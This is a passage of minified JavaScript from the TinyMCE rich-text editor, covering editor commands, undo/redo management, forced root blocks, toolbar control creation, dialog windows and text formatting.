anchor;"string"==typeof value&&(value={href:value}),anchor=dom.getParent(selection.getNode(),"a"),value.href=value.href.replace(" ","%20"),anchor&&value.href||formatter.remove("link"),value.href&&formatter.apply("link",value,anchor)},selectAll:function(){var root=dom.getRoot(),rng=dom.createRng();selection.getRng().setStart?(rng=dom.createRng(),rng.setStart(root,0),rng.setEnd(root,root.childNodes.length),selection.setRng(rng)):(rng=selection.getRng(),rng.item||(rng.moveToElementText(root),rng.select()))},delete:function(){execNativeCommand("Delete");var body=editor.getBody();dom.isEmpty(body)&&(editor.setContent(""),body.firstChild&&dom.isBlock(body.firstChild)?editor.selection.setCursorLocation(body.firstChild,0):editor.selection.setCursorLocation(body,0))},mceNewDocument:function(){editor.setContent("")},InsertLineBreak:function(command,ui,value){function hasRightSideContent(){for(var node,walker=new TreeWalker(container,parentBlock),nonEmptyElementsMap=editor.schema.getNonEmptyElements();node=walker.next();)if(nonEmptyElementsMap[node.nodeName.toLowerCase()]||node.length>0)return!0}var brElm,extraBr,marker,evt=value,rng=selection.getRng(!0);new tinymce.dom.RangeUtils(dom).normalize(rng);var offset=rng.startOffset,container=rng.startContainer;if(1==container.nodeType&&container.hasChildNodes()){var isAfterLastNodeInContainer=offset>container.childNodes.length-1;container=container.childNodes[Math.min(offset,container.childNodes.length-1)]||container,offset=isAfterLastNodeInContainer&&3==container.nodeType?container.nodeValue.length:0}var parentBlock=dom.getParent(container,dom.isBlock),parentBlockName=parentBlock?parentBlock.nodeName.toUpperCase():"",containerBlock=parentBlock?dom.getParent(parentBlock.parentNode,dom.isBlock):null,containerBlockName=containerBlock?containerBlock.nodeName.toUpperCase():"",isControlKey=evt&&evt.ctrlKey;"LI"!=containerBlockName||isControlKey||(parentBlock=containerBlock,parentBlockName=containerBlockName),container&&3==container.nodeType&&offset>=container.nodeValue.length&&(isOldIE||hasRightSideContent()||(brElm=dom.create("br"),rng.insertNode(brElm),rng.setStartAfter(brElm),rng.setEndAfter(brElm),extraBr=!0)),brElm=dom.create("br"),rng.insertNode(brElm);var documentMode=dom.doc.documentMode;return isOldIE&&"PRE"==parentBlockName&&(!documentMode||documentMode<8)&&brElm.parentNode.insertBefore(dom.doc.createTextNode("\r"),brElm),marker=dom.create("span",{},"&nbsp;"),brElm.parentNode.insertBefore(marker,brElm),selection.scrollIntoView(marker),dom.remove(marker),extraBr?(rng.setStartBefore(brElm),rng.setEndBefore(brElm)):(rng.setStartAfter(brElm),rng.setEndAfter(brElm)),selection.setRng(rng),editor.undoManager.add(),TRUE}}),addCommands({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(command){var name="align"+command.substring(7),nodes=selection.isCollapsed()?[dom.getParent(selection.getNode(),dom.isBlock)]:selection.getSelectedBlocks(),matches=tinymce.map(nodes,function(node){return!!formatter.matchNode(node,name)});return tinymce.inArray(matches,TRUE)!==-1},"Bold,Italic,Underline,Strikethrough,Superscript,Subscript":function(command){return isFormatMatch(command)},mceBlockQuote:function(){return isFormatMatch("blockquote")},Outdent:function(){var node;if(settings.inline_styles){if((node=dom.getParent(selection.getStart(),dom.isBlock))&&parseInt(node.style.paddingLeft,10)>0)return TRUE;if((node=dom.getParent(selection.getEnd(),dom.isBlock))&&parseInt(node.style.paddingLeft,10)>0)return TRUE}return queryCommandState("InsertUnorderedList")||queryCommandState("InsertOrderedList")||!settings.inline_styles&&!!dom.getParent(selection.getNode(),"BLOCKQUOTE")},"InsertUnorderedList,InsertOrderedList":function(command){var list=dom.getParent(selection.getNode(),"ul,ol,dl");return list&&("insertunorderedlist"===command&&"UL"===list.tagName||"insertorderedlist"===command&&"OL"===list.tagName)}},"state"),addCommands({"FontSize,FontName":function(command){var parent,value=0;return(parent=dom.getParent(selection.getNode(),"span"))&&(value="fontsize"==command?parent.style.fontSize:parent.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()),value}},"value"),addCommands({Undo:function(){editor.undoManager.undo()},Redo:function(){editor.undoManager.redo()}})}}(tinymce),function(tinymce){var Dispatcher=tinymce.util.Dispatcher;tinymce.UndoManager=function(editor){function getContent(){return tinymce.trim(editor.getContent({format:"raw",no_events:1}).replace(/<span[^>]+data-mce-bogus[^>]+>[\u200B\uFEFF]+<\/span>/g,""))}function addNonTypingUndoLevel(){self.typing=!1,self.add()}var self,beforeBookmark,onAdd,onUndo,onRedo,index=0,data=[];return onBeforeAdd=new Dispatcher(self),onAdd=new Dispatcher(self),onUndo=new Dispatcher(self),onRedo=new Dispatcher(self),onAdd.add(function(undoman,level){if(undoman.hasUndo())return editor.onChange.dispatch(editor,level,undoman)}),onUndo.add(function(undoman,level){return editor.onUndo.dispatch(editor,level,undoman)}),onRedo.add(function(undoman,level){return editor.onRedo.dispatch(editor,level,undoman)}),editor.onInit.add(function(){self.add()}),editor.onBeforeExecCommand.add(function(ed,cmd,ui,val,args){"Undo"==cmd||"Redo"==cmd||"mceRepaint"==cmd||args&&args.skip_undo||self.beforeChange()}),editor.onExecCommand.add(function(ed,cmd,ui,val,args){"Undo"==cmd||"Redo"==cmd||"mceRepaint"==cmd||args&&args.skip_undo||self.add()}),editor.onSaveContent.add(addNonTypingUndoLevel),editor.dom.bind(editor.dom.getRoot(),"dragend",addNonTypingUndoLevel),editor.dom.bind(editor.getBody(),"focusout",function(e){!editor.removed&&self.typing&&addNonTypingUndoLevel()}),editor.onKeyUp.add(function(editor,e){var keyCode=e.keyCode;(keyCode>=33&&keyCode<=36||keyCode>=37&&keyCode<=40||45==keyCode||13==keyCode||e.ctrlKey)&&addNonTypingUndoLevel()}),editor.onKeyDown.add(function(editor,e){var keyCode=e.keyCode;return keyCode>=33&&keyCode<=36||keyCode>=37&&keyCode<=40||45==keyCode?void(self.typing&&addNonTypingUndoLevel()):void((keyCode<16||keyCode>20)&&224!=keyCode&&91!=keyCode&&!self.typing&&(self.beforeChange(),self.typing=!0,self.add()))}),editor.onMouseDown.add(function(editor,e){self.typing&&addNonTypingUndoLevel()}),editor.addShortcut("ctrl+z","undo_desc","Undo"),editor.addShortcut("ctrl+y","redo_desc","Redo"),self={data:data,typing:!1,onBeforeAdd:onBeforeAdd,onAdd:onAdd,onUndo:onUndo,onRedo:onRedo,beforeChange:function(){beforeBookmark=editor.selection.getBookmark(2,!0)},add:function(level){var i,lastLevel,settings=editor.settings;if(level=level||{},level.content=getContent(),self.onBeforeAdd.dispatch(self,level),lastLevel=data[index],lastLevel&&lastLevel.content==level.content)return null;if(data[index]&&(data[index].beforeBookmark=beforeBookmark),settings.custom_undo_redo_levels&&data.length>settings.custom_undo_redo_levels){for(i=0;i<data.length-1;i++)data[i]=data[i+1];data.length--,index=data.length}return level.bookmark=editor.selection.getBookmark(2,!0),index<data.length-1&&(data.length=index+1),data.push(level),index=data.length-1,self.onAdd.dispatch(self,level),editor.isNotDirty=0,level},undo:function(){var level;return self.typing&&(self.add(),
self.typing=!1),index>0&&(level=data[--index],editor.setContent(level.content,{format:"raw"}),editor.selection.moveToBookmark(level.beforeBookmark),self.onUndo.dispatch(self,level)),level},redo:function(){var level;return index<data.length-1&&(level=data[++index],editor.setContent(level.content,{format:"raw"}),editor.selection.moveToBookmark(level.bookmark),self.onRedo.dispatch(self,level)),level},clear:function(){data=[],index=0,self.typing=!1},hasUndo:function(){return index>0||this.typing},hasRedo:function(){return index<data.length-1&&!this.typing}}}}(tinymce),tinymce.ForceBlocks=function(editor){function addRootBlocks(){var rng,startContainer,startOffset,endContainer,endOffset,rootBlockNode,tempNode,wrapped,restoreSelection,tmpRng,rootNodeName,forcedRootBlock,node=selection.getStart(),rootNode=editor.getBody(),offset=-16777215;if(forcedRootBlock=settings.forced_root_block,node&&1===node.nodeType&&forcedRootBlock){for(;node&&node!=rootNode;){if(blockElements[node.nodeName])return;node=node.parentNode}if(rng=selection.getRng(),rng.setStart){startContainer=rng.startContainer,startOffset=rng.startOffset,endContainer=rng.endContainer,endOffset=rng.endOffset;try{restoreSelection=editor.getDoc().activeElement===rootNode}catch(ex){}}else rng.item&&(node=rng.item(0),rng=editor.getDoc().body.createTextRange(),rng.moveToElementText(node)),restoreSelection=rng.parentElement().ownerDocument===editor.getDoc(),tmpRng=rng.duplicate(),tmpRng.collapse(!0),startOffset=tmpRng.move("character",offset)*-1,tmpRng.collapsed||(tmpRng=rng.duplicate(),tmpRng.collapse(!1),endOffset=tmpRng.move("character",offset)*-1-startOffset);for(node=rootNode.firstChild,rootNodeName=rootNode.nodeName.toLowerCase();node;)if((3===node.nodeType||1==node.nodeType&&!blockElements[node.nodeName])&&schema.isValidChild(rootNodeName,forcedRootBlock.toLowerCase())){if(3===node.nodeType&&0===node.nodeValue.length){tempNode=node,node=node.nextSibling,dom.remove(tempNode);continue}rootBlockNode||(rootBlockNode=dom.create(forcedRootBlock,editor.settings.forced_root_block_attrs),node.parentNode.insertBefore(rootBlockNode,node),wrapped=!0),tempNode=node,node=node.nextSibling,rootBlockNode.appendChild(tempNode)}else rootBlockNode=null,node=node.nextSibling;if(wrapped&&restoreSelection){if(rng.setStart)rng.setStart(startContainer,startOffset),rng.setEnd(endContainer,endOffset),selection.setRng(rng);else try{rng=editor.getDoc().body.createTextRange(),rng.moveToElementText(rootNode),rng.collapse(!0),rng.moveStart("character",startOffset),endOffset>0&&rng.moveEnd("character",endOffset),rng.select()}catch(ex){}editor.nodeChanged()}}}var settings=editor.settings,dom=editor.dom,selection=editor.selection,schema=editor.schema,blockElements=schema.getBlockElements();settings.forced_root_block&&(editor.onKeyUp.add(addRootBlocks),editor.onNodeChange.add(addRootBlocks))},function(tinymce){var Event=(tinymce.DOM,tinymce.dom.Event),each=tinymce.each,extend=tinymce.extend;tinymce.create("tinymce.ControlManager",{ControlManager:function(ed,s){var t=this;s=s||{},t.editor=ed,t.controls={},t.onAdd=new tinymce.util.Dispatcher(t),t.onPostRender=new tinymce.util.Dispatcher(t),t.prefix=s.prefix||ed.id+"_",t._cls={},t.onPostRender.add(function(){each(t.controls,function(c){c.postRender()})})},get:function(id){return this.controls[this.prefix+id]||this.controls[id]},setActive:function(id,s){var c=null;return(c=this.get(id))&&c.setActive(s),c},setDisabled:function(id,s){var c=null;return(c=this.get(id))&&c.setDisabled(s),c},add:function(c){var t=this;return c&&(t.controls[c.id]=c,t.onAdd.dispatch(c,t)),c},createControl:function(name){var ctrl,i,l,factories,self=this,editor=self.editor;for(self.controlFactories||(self.controlFactories=[],each(editor.plugins,function(plugin){plugin.createControl&&self.controlFactories.push(plugin)})),factories=self.controlFactories,i=0,l=factories.length;i<l;i++)if(ctrl=factories[i].createControl(name,self))return self.add(ctrl);return"|"===name||"separator"===name?self.createSeparator():editor.buttons&&(ctrl=editor.buttons[name])?self.createButton(name,ctrl):self.add(ctrl)},createDropMenu:function(id,s,cc){var c,bm,v,cls,t=this,ed=t.editor;return s=extend({class:"mceDropDown",constrain:ed.settings.constrain_menus},s),s.class=s.class+" "+ed.getParam("skin")+"Skin",(v=ed.getParam("skin_variant"))&&(s.class+=" "+ed.getParam("skin")+"Skin"+v.substring(0,1).toUpperCase()+v.substring(1)),s.class+="rtl"==ed.settings.directionality?" mceRtl":"",id=t.prefix+id,cls=cc||t._cls.dropmenu||tinymce.ui.DropMenu,c=t.controls[id]=new cls(id,s),c.onAddItem.add(function(c,o){var s=o.settings;s.title=ed.getLang(s.title,s.title),s.onclick||(s.onclick=function(v){s.cmd&&ed.execCommand(s.cmd,s.ui||!1,s.value)})}),ed.onRemove.add(function(){c.destroy()}),tinymce.isIE&&(c.onShowMenu.add(function(){ed.focus(),bm=ed.selection.getBookmark(1)}),c.onHideMenu.add(function(){bm&&(ed.selection.moveToBookmark(bm),bm=0)})),t.add(c)},createListBox:function(id,s,cc){function useNativeListForAccessibility(ed){return ed.settings.use_accessible_selects&&!tinymce.isGecko}var c,cls,t=this,ed=t.editor;return t.get(id)?null:(s.title=ed.translate(s.title),s.scope=s.scope||ed,s.onselect||(s.onselect=function(v){ed.execCommand(s.cmd,s.ui||!1,v||s.value)}),s=extend({title:s.title,class:"mce_"+id,scope:s.scope,control_manager:t},s),id=t.prefix+id,ed.settings.use_native_selects||useNativeListForAccessibility(ed)?c=new tinymce.ui.NativeListBox(id,s):(cls=cc||t._cls.listbox||tinymce.ui.ListBox,c=new cls(id,s,ed)),t.controls[id]=c,tinymce.isWebKit&&c.onPostRender.add(function(c,n){Event.add(n,"mousedown",function(){ed.bookmark=ed.selection.getBookmark(1)}),Event.add(n,"focus",function(){ed.selection.moveToBookmark(ed.bookmark),ed.bookmark=null})}),c.hideMenu&&ed.onMouseDown.add(c.hideMenu,c),t.add(c))},createButton:function(id,s,cc){var c,cls,t=this,ed=t.editor;return t.get(id)?null:(s.title=ed.translate(s.title),s.label=ed.translate(s.label),s.scope=s.scope||ed,s.onclick||s.menu_button||(s.onclick=function(){ed.execCommand(s.cmd,s.ui||!1,s.value)}),s=extend({title:s.title,class:"mce_"+id,unavailable_prefix:ed.getLang("unavailable",""),scope:s.scope,control_manager:t},s),id=t.prefix+id,s.menu_button?(cls=cc||t._cls.menubutton||tinymce.ui.MenuButton,c=new cls(id,s,ed),ed.onMouseDown.add(c.hideMenu,c)):(cls=t._cls.button||tinymce.ui.Button,c=new cls(id,s,ed)),t.add(c))},createMenuButton:function(id,s,cc){return s=s||{},s.menu_button=1,this.createButton(id,s,cc)},createSplitButton:function(id,s,cc){var c,cls,t=this,ed=t.editor;return t.get(id)?null:(s.title=ed.translate(s.title),s.scope=s.scope||ed,s.onclick||(s.onclick=function(v){ed.execCommand(s.cmd,s.ui||!1,v||s.value)}),s.onselect||(s.onselect=function(v){ed.execCommand(s.cmd,s.ui||!1,v||s.value)}),s=extend({title:s.title,class:"mce_"+id,scope:s.scope,control_manager:t},s),id=t.prefix+id,cls=cc||t._cls.splitbutton||tinymce.ui.SplitButton,c=t.add(new cls(id,s,ed)),ed.onMouseDown.add(c.hideMenu,c),c)},createColorSplitButton:function(id,s,cc){var c,cls,bm,t=this,ed=t.editor;return t.get(id)?null:(s.title=ed.translate(s.title),s.scope=s.scope||ed,s.onclick||(s.onclick=function(v){tinymce.isIE&&(bm=ed.selection.getBookmark(1)),ed.execCommand(s.cmd,s.ui||!1,v||s.value)}),s.onselect||(s.onselect=function(v){ed.execCommand(s.cmd,s.ui||!1,v||s.value)}),s=extend({title:s.title,class:"mce_"+id,menu_class:ed.getParam("skin")+"Skin",scope:s.scope,more_colors_title:ed.getLang("more_colors")},s),id=t.prefix+id,cls=cc||t._cls.colorsplitbutton||tinymce.ui.ColorSplitButton,c=new cls(id,s,ed),ed.onMouseDown.add(c.hideMenu,c),ed.onRemove.add(function(){c.destroy()}),tinymce.isIE&&(c.onShowMenu.add(function(){ed.focus(),bm=ed.selection.getBookmark(1)}),c.onHideMenu.add(function(){bm&&(ed.selection.moveToBookmark(bm),bm=0)})),t.add(c))},createToolbar:function(id,s,cc){var c,cls,t=this;return id=t.prefix+id,cls=cc||t._cls.toolbar||tinymce.ui.Toolbar,c=new cls(id,s,t.editor),t.get(id)?null:t.add(c)},createToolbarGroup:function(id,s,cc){var c,cls,t=this;return id=t.prefix+id,cls=cc||this._cls.toolbarGroup||tinymce.ui.ToolbarGroup,c=new cls(id,s,t.editor),t.get(id)?null:t.add(c)},createSeparator:function(cc){var cls=cc||this._cls.separator||tinymce.ui.Separator;return new cls},setControlType:function(n,c){return this._cls[n.toLowerCase()]=c},destroy:function(){each(this.controls,function(c){c.destroy()}),this.controls=null}})}(tinymce),function(tinymce){var Dispatcher=tinymce.util.Dispatcher,each=tinymce.each,isIE=tinymce.isIE,isOpera=tinymce.isOpera;tinymce.create("tinymce.WindowManager",{WindowManager:function(ed){var t=this;t.editor=ed,t.onOpen=new Dispatcher(t),t.onClose=new Dispatcher(t),t.params={},t.features={}},open:function(s,p){var w,sw,sh,u,t=this,f="",mo="modal"==t.editor.settings.dialog_type,vp=tinymce.DOM.getViewPort();s=s||{},p=p||{},sw=isOpera?vp.w:screen.width,sh=isOpera?vp.h:screen.height,s.name=s.name||"mc_"+(new Date).getTime(),s.width=parseInt(s.width||320),s.height=parseInt(s.height||240),s.resizable=!0,s.left=s.left||parseInt(sw/2)-s.width/2,s.top=s.top||parseInt(sh/2)-s.height/2,p.inline=!1,p.mce_width=s.width,p.mce_height=s.height,p.mce_auto_focus=s.auto_focus,mo&&isIE&&(s.center=!0,s.help=!1,s.dialogWidth=s.width+"px",s.dialogHeight=s.height+"px",s.scroll=s.scrollbars||!1),each(s,function(v,k){tinymce.is(v,"boolean")&&(v=v?"yes":"no"),/^(name|url)$/.test(k)||(f+=isIE&&mo?(f?";":"")+k+":"+v:(f?",":"")+k+"="+v)}),t.features=s,t.params=p,t.onOpen.dispatch(t,s,p),u=s.url||s.file,u=tinymce._addVer(u);try{isIE&&mo?(w=1,window.showModalDialog(u,window,f)):w=window.open(u,s.name,f)}catch(ex){}w||alert(t.editor.getLang("popup_blocked"))},close:function(w){w&&(w.close(),this.onClose.dispatch(this))},createInstance:function(cl,a,b,c,d,e){var f=tinymce.resolve(cl);return new f(a,b,c,d,e)},confirm:function(t,cb,s,w){w=w||window,cb.call(s||this,w.confirm(this._decode(this.editor.getLang(t,t))))},alert:function(tx,cb,s,w){var t=this;w=w||window,w.alert(t._decode(t.editor.getLang(tx,tx))),cb&&cb.call(s||t)},resizeBy:function(dw,dh,win){win.resizeBy(dw,dh)},_decode:function(s){return tinymce.DOM.decode(s).replace(/\\n/g,"\n")}})}(tinymce),function(tinymce){tinymce.Formatter=function(ed){function isTextBlock(name){return name.nodeType&&(name=name.nodeName),!!ed.schema.getTextBlockElements()[name.toLowerCase()]}function isTableCell(node){return/^(TH|TD)$/.test(node.nodeName)}function isInlineBlock(node){return node&&/^(IMG)$/.test(node.nodeName)}function getParents(node,selector){return dom.getParents(node,selector,dom.getRoot())}function isCaretNode(node){return 1===node.nodeType&&"_mce_caret"===node.id}function defaultFormats(){register({valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure[data-mce-image]",collapsed:!1,styles:{float:"left"}},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{float:"left"}}],aligncenter:[{selector:"figure[data-mce-image]",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto",display:"table"}},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},defaultBlock:"div"},{selector:"img",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"}},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"}}],alignright:[{selector:"figure[data-mce-image]",collapsed:!1,styles:{float:"right"}},{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{float:"right"}}],alignfull:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"justify"},defaultBlock:"div"}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{class:"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,deep:!0,onmatch:function(){return!0},onformat:function(elm,fmt,vars){each(vars,function(value,key){dom.setAttrib(elm,key,value)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]}),each("p h1 h2 h3 h4 h5 h6 div address pre div code samp dt dd dl".split(/\s/),function(name){register(name,{block:name,remove:"all"})}),register(ed.settings.formats)}function addKeyboardShortcuts(){ed.addShortcut("ctrl+b","bold_desc","Bold"),ed.addShortcut("ctrl+i","italic_desc","Italic"),ed.addShortcut("ctrl+u","underline_desc","Underline");for(var i=1;i<=6;i++)ed.addShortcut("ctrl+"+i,"",["FormatBlock",!1,"h"+i]);each(["p","div","address"],function(name,i){var n=7+i;ed.addShortcut("ctrl+"+n,"",["FormatBlock",!1,name])})}function get(name){return name?formats[name]:formats}function register(name,format){name&&("string"!=typeof name?each(name,function(format,name){register(name,format)}):(format=format.length?format:[format],each(format,function(format){format.deep===undef&&(format.deep=!format.selector),format.split===undef&&(format.split=!format.selector||format.inline),format.remove===undef&&format.selector&&!format.inline&&(format.remove="none"),format.selector&&format.inline&&(format.mixed=!0,format.block_expand=!0),"string"==typeof format.classes&&(format.classes=format.classes.split(/\s+/))}),formats[name]=format))}function matchesUnInheritedFormatSelector(node,name){var formatList=get(name);if(formatList)for(var i=0;i<formatList.length;i++)if(formatList[i].inherit===!1&&dom.is(node,formatList[i].selector))return!0;return!1}function getTextDecoration(node){var decoration;return ed.dom.getParent(node,function(n){return decoration=ed.dom.getStyle(n,"text-decoration"),decoration&&"none"!==decoration}),decoration}function processUnderlineAndColor(node){var textDecoration;1===node.nodeType&&node.parentNode&&1===node.parentNode.nodeType&&(textDecoration=getTextDecoration(node.parentNode),ed.dom.getStyle(node,"color")&&textDecoration?ed.dom.setStyle(node,"text-decoration",textDecoration):ed.dom.getStyle(node,"text-decoration")===textDecoration&&ed.dom.setStyle(node,"text-decoration",null))}function apply(name,vars,node){function setElementFormat(elm,fmt){if(fmt=fmt||format,elm){if(fmt.onformat&&fmt.onformat(elm,fmt,vars,node),each(fmt.styles,function(value,name){dom.setStyle(elm,name,replaceVars(value,vars))}),fmt.styles){var styleVal=dom.serializeStyle(dom.parseStyle(elm.style.cssText),elm.nodeName);styleVal&&elm.setAttribute("data-mce-style",styleVal)}each(fmt.attributes,function(value,name){dom.setAttrib(elm,name,replaceVars(value,vars))}),each(fmt.classes,function(value){value=replaceVars(value,vars),dom.hasClass(elm,value)||dom.addClass(elm,value)})}}function applyNodeStyle(formatList,node){var found=!1;return!!format.selector&&(each(formatList,function(format){if(!("collapsed"in format&&format.collapsed!==isCollapsed))return dom.is(node,format.selector)&&!isCaretNode(node)?(setElementFormat(node,format),found=!0,!1):void 0}),found)}function adjustSelectionToVisibleSelection(){function findSelectionEnd(start,end){var walker=new TreeWalker(end);for(node=walker.prev2();node;node=walker.prev2()){if(3==node.nodeType&&node.data.length>0)return node;if(node.childNodes.length>1||node==start||"BR"==node.tagName)return node}}var rng=selection.getRng(),start=rng.startContainer,end=rng.endContainer;if(start!=end&&0===rng.endOffset){var newEnd=findSelectionEnd(start,end),endOffset=3==newEnd.nodeType?newEnd.data.length:newEnd.childNodes.length;rng.setEnd(newEnd,endOffset)}return rng}function applyRngStyle(rng,bookmark,node_specific){var wrapName,wrapElm,newWrappers=[],contentEditable=!0;wrapName=format.inline||format.block,wrapElm=dom.create(wrapName),setElementFormat(wrapElm),rangeUtils.walk(rng,function(nodes){function process(node){var nodeName,parentName,found,hasContentEditableState,lastContentEditable;if(lastContentEditable=contentEditable,nodeName=node.nodeName.toLowerCase(),parentName=node.parentNode.nodeName.toLowerCase(),1===node.nodeType&&getContentEditable(node)&&(lastContentEditable=contentEditable,contentEditable="true"===getContentEditable(node),hasContentEditableState=!0),isEq(nodeName,"br"))return currentWrapElm=0,void(format.block&&dom.remove(node));if(format.wrapper&&matchNode(node,name,vars))return void(currentWrapElm=0);if(contentEditable&&!hasContentEditableState&&format.block&&!format.wrapper&&isTextBlock(nodeName)&&isValidChild(parentName,wrapName))return node=dom.rename(node,wrapName),setElementFormat(node),newWrappers.push(node),void(currentWrapElm=0);if(format.selector){var found=applyNodeStyle(formatList,node);if(!format.inline||found)return void(currentWrapElm=0)}!contentEditable||hasContentEditableState||!isValidChild(wrapName,nodeName)||!isValidChild(parentName,wrapName)||!node_specific&&3===node.nodeType&&1===node.nodeValue.length&&65279===node.nodeValue.charCodeAt(0)||isCaretNode(node)||format.inline&&isBlock(node)?(currentWrapElm=0,each(tinymce.grep(node.childNodes),process),hasContentEditableState&&(contentEditable=lastContentEditable),currentWrapElm=0):(currentWrapElm||(currentWrapElm=dom.clone(wrapElm,FALSE),node.parentNode.insertBefore(currentWrapElm,node),newWrappers.push(currentWrapElm)),currentWrapElm.appendChild(node))}var currentWrapElm;each(nodes,process)}),format.links!==!0&&format.wrap_links!==!1||each(newWrappers,function(node){function process(node){"A"===node.nodeName&&setElementFormat(node,format),each(tinymce.grep(node.childNodes),process)}process(node)}),each(newWrappers,function(node){function getChildCount(node){var count=0;return each(node.childNodes,function(node){isWhiteSpaceNode(node)||isBookmarkNode(node)||count++}),count}function getChildElementNode(root){var child=!1;return each(root.childNodes,function(node){if(isElementNode(node))return child=node,!1}),child}function mergeStyles(node){var child,clone;return child=getChildElementNode(node),child&&!isBookmarkNode(child)&&matchName(child,format)&&(clone=dom.clone(child,FALSE),setElementFormat(clone),dom.replace(clone,node,TRUE),dom.remove(child,1)),clone||node}var childCount;if(childCount=getChildCount(node),(newWrappers.length>1||!isBlock(node))&&0===childCount)return void dom.remove(node,1);if(format.inline||format.wrapper){if(format.exact||1!==childCount||(node=mergeStyles(node)),each(formatList,function(format){each(dom.select(format.inline,node),function(child){isBookmarkNode(child)||removeFormat(format,vars,child,format.exact?child:null)})}),matchNode(node.parentNode,name,vars))return dom.remove(node,1),node=0,TRUE;format.merge_with_parents&&dom.getParent(node.parentNode,function(parent){if(matchNode(parent,name,vars))return dom.remove(node,1),node=0,TRUE}),node&&format.merge_siblings!==!1&&(node=mergeSiblings(getNonWhiteSpaceSibling(node),node),node=mergeSiblings(node,getNonWhiteSpaceSibling(node,TRUE)))}})}var bookmark,rng,formatList=get(name),format=formatList[0],isCollapsed=!node&&selection.isCollapsed();if("false"!==getContentEditable(selection.getNode())){if(format)if(node)node.nodeType?applyNodeStyle(formatList,node)||(rng=dom.createRng(),rng.setStartBefore(node),rng.setEndAfter(node),applyRngStyle(expandRng(rng,formatList),null,!0)):applyRngStyle(node,null,!0);else if(isCollapsed&&format.inline&&!dom.select("td.mceSelected,th.mceSelected").length)performCaretAction("apply",name,vars);else{var curSelNode=selection.getNode();forcedRootBlock||!formatList[0].defaultBlock||dom.getParent(curSelNode,dom.isBlock)||apply(formatList[0].defaultBlock),selection.setRng(adjustSelectionToVisibleSelection()),bookmark=selection.getBookmark(),applyRngStyle(expandRng(selection.getRng(TRUE),formatList),bookmark),format.styles&&(format.styles.color||format.styles.textDecoration)&&(tinymce.walk(curSelNode,processUnderlineAndColor,"childNodes"),processUnderlineAndColor(curSelNode)),selection.moveToBookmark(bookmark),moveStart(selection.getRng(TRUE)),ed.nodeChanged()}}else{node=selection.getNode();for(var i=0,l=formatList.length;i<l;i++)if(formatList[i].ceFalseOverride&&dom.is(node,formatList[i].selector))return void setElementFormat(node,formatList[i])}}function remove(name,vars,node,similar){function process(node){var children,i,l,lastContentEditable,hasContentEditableState;if(1===node.nodeType&&getContentEditable(node)&&(lastContentEditable=contentEditable,contentEditable="true"===getContentEditable(node),hasContentEditableState=!0),children=tinymce.grep(node.childNodes),contentEditable&&!hasContentEditableState)for(i=0,l=formatList.length;i<l&&!removeFormat(formatList[i],vars,node,node);i++);if(format.deep&&children.length){for(i=0,l=children.length;i<l;i++)process(children[i]);hasContentEditableState&&(contentEditable=lastContentEditable)}}function findFormatRoot(container){var formatRoot;return each(getParents(container.parentNode).reverse(),function(parent){var format;formatRoot||"_start"==parent.id||"_end"==parent.id||(format=matchNode(parent,name,vars,similar),format&&format.split!==!1&&(formatRoot=parent))}),formatRoot}function wrapAndSplit(formatRoot,container,target,split){var parent,clone,lastClone,firstClone,i,formatRootParent;if(formatRoot){for(formatRootParent=formatRoot.parentNode,parent=container.parentNode;parent&&parent!=formatRootParent;parent=parent.parentNode){for(clone=dom.clone(parent,FALSE),i=0;i<formatList.length;i++)if(removeFormat(formatList[i],vars,clone,clone)){clone=0;break}clone&&(lastClone&&clone.appendChild(lastClone),firstClone||(firstClone=clone),lastClone=clone)}!split||format.mixed&&isBlock(formatRoot)||(container=dom.split(formatRoot,container)),lastClone&&(target.parentNode.insertBefore(lastClone,target),firstClone.appendChild(target))}return container}function splitToFormatRoot(container){return wrapAndSplit(findFormatRoot(container),container,container,!0)}function unwrap(start){var node=dom.get(start?"_start":"_end"),out=node[start?"firstChild":"lastChild"];return isBookmarkNode(out)&&(out=out[start?"firstChild":"lastChild"]),3==out.nodeType&&0===out.data.length&&(out=start?node.previousSibling||node.nextSibling:node.nextSibling||node.previousSibling),dom.remove(node,!0),out}function removeRngStyle(rng){var 